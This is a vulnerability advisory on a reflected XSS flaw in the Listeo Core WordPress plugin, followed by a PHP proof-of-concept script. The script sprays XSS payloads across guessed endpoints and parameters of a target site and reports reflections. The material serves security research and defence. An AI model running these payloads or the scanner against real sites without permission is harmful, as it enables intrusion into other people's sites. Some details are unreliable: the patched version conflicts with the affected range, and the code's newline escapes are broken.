Atomic Edge analysis of CVE-2025-67932 (metadata-based):
This vulnerability is a reflected cross-site scripting (XSS) flaw in the Listeo Core WordPress plugin versions up to 2.0.19. The vulnerability exists due to insufficient input sanitization and output escaping in one or more plugin components. Unauthenticated attackers can exploit this vulnerability by tricking users into clicking malicious links, leading to arbitrary script execution in the victim’s browser context.
Atomic Edge research infers the root cause is improper neutralization of user-supplied input before its inclusion in dynamically generated web pages (CWE-79). The vulnerability description confirms insufficient input sanitization and output escaping. Without access to the patched code, Atomic Edge cannot confirm the exact vulnerable function or endpoint. The vulnerability likely resides in a plugin endpoint that echoes user-controlled parameters without proper escaping functions like `esc_html()` or `esc_js()`.
Exploitation requires an attacker to craft a malicious URL containing a JavaScript payload in a vulnerable parameter. A victim must click this link while authenticated to WordPress. The attack vector is network-based with no required privileges (PR:N). User interaction is required (UI:R), as the victim must click the link. The payload executes in the context of the vulnerable plugin page, potentially allowing session hijacking, administrative actions, or content modification.
Remediation requires proper output escaping on all user-controlled data echoed in HTML contexts. The patched version (2.0.19) likely added escaping functions like `esc_html()`, `esc_attr()`, or `wp_kses()` to vulnerable output statements. Input validation should also be implemented as a secondary defense, but output escaping is the primary fix for reflected XSS vulnerabilities in WordPress plugins.
Successful exploitation allows attackers to execute arbitrary JavaScript in the victim’s browser. Impact includes session hijacking, administrative actions performed by the victim, content modification, or redirection to malicious sites. The CVSS vector indicates scope change (S:C), meaning the vulnerability can affect components beyond the plugin’s security scope. The confidentiality and integrity impacts are low (C:L/I:L), as exploitation depends on user interaction and does not directly compromise the server.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-67932 - Listeo Core < 2.0.19 - Reflected Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2025-67932
* WARNING: For authorized security testing only
*
* ASSUMPTIONS (based on metadata):
* 1. Vulnerability is reflected XSS via GET/POST parameter
* 2. Plugin has AJAX endpoints or public-facing pages with unsanitized parameters
* 3. No authentication required (PR:N in CVSS)
*/
$target_url = "https://vulnerable-site.com"; // CHANGE THIS
// Common WordPress plugin endpoints where XSS might occur
$endpoints = [
'/wp-admin/admin-ajax.php',
'/wp-content/plugins/listeo-core/ajax-functions.php',
'/listings/', // Assuming plugin creates custom endpoints
'/'
];
// XSS payloads to test reflection
$payloads = [
'"><script>alert(document.domain)</script>',
'" onmouseover="alert(1)"',
'javascript:alert(1)//',
'<img src=x onerror=alert(1)>'
];
// Common parameter names in WordPress plugins
$parameters = ['search', 's', 'q', 'keyword', 'term', 'filter', 'sort', 'order', 'action'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
foreach ($endpoints as $endpoint) {
foreach ($parameters as $param) {
foreach ($payloads as $payload) {
$url = $target_url . $endpoint . '?' . $param . '=' . urlencode($payload);
curl_setopt($ch, CURLOPT_URL, $url);
$response = curl_exec($ch);
if ($response && strpos($response, $payload) !== false) {
echo "[POSSIBLE VULNERABILITY] Parameter reflection found:n";
echo "URL: $urln";
echo "Parameter: $paramn";
echo "Payload: $payloadn";
echo "Response snippet: " . substr($response, strpos($response, $payload), 100) . "nn";
}
}
}
}
curl_close($ch);
echo "Scan complete. Check output for reflected parameters.n";
?>
